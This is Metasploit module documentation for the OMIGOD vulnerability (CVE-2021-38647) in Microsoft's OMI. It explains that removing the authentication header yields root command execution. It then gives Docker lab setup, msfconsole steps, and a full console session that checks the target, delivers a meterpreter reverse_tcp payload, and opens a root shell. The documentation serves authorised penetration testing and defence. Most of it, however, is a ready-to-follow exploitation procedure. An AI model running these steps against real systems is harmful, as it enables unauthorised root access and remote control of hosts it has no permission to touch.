## Vulnerable Application

By removing the authentication header, an attacker can issue an HTTP request to the OMI management endpoint that will
cause it to execute an operating system command as the root user. This vulnerability was patched in OMI version 1.6.8-1
(released September 8th 2021).

## Verification Steps

1. Start the application using the [Censys Dockerfile][1]
    1. `docker build . -t ms-omi:cve-2021-38647`
    2. `docker run --name cve-2021-38647 --rm -d -p 5985:5985 ms-omi:cve-2021-38647`
2. Start `msfconsole`
3. Do: `use exploit/linux/misc/cve_2021_38647_omigod`
4. Set the module options
5. Do: `exploit`
6. You should get a shell.

## Options

## Scenarios

### Ubuntu 20.04 x64, OMI v1.6.8, SCX v1.6.6

```
msf > use exploit/linux/misc/cve_2021_38647_omigod
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
msf exploit(linux/misc/cve_2021_38647_omigod) > set RHOSTS 192.168.159.128
RHOSTS => 192.168.159.128
msf exploit(linux/misc/cve_2021_38647_omigod) > check
[+] 192.168.159.128:5985 - The target is vulnerable. Command executed as uid 0.
msf exploit(linux/misc/cve_2021_38647_omigod) > set TARGET Linux\ Dropper 
TARGET => Linux Dropper
msf exploit(linux/misc/cve_2021_38647_omigod) > set PAYLOAD linux/x64/meterpreter/reverse_tcp 
PAYLOAD => linux/x64/meterpreter/reverse_tcp
msf exploit(linux/misc/cve_2021_38647_omigod) > exploit

[*] Started reverse TCP handler on 192.168.159.128:8443 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. Command executed as uid 0.
[*] Executing Linux Dropper for linux/x64/meterpreter/reverse_tcp
[*] Sending stage (3012548 bytes) to 192.168.159.128
[*] Command Stager progress - 100.00% done (823/823 bytes)
[*] Meterpreter session 1 opened (192.168.159.128:8443 -> 192.168.159.128:41066 ) at 2021-10-26 10:53:18 -0400

meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer     : 10.0.2.100
OS           : Ubuntu 20.04 (Linux 5.14.11-200.fc34.x86_64)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > 
```

[1]: https://gist.github.com/dabdine/ac6aadde068cad4d58251453e688a84f
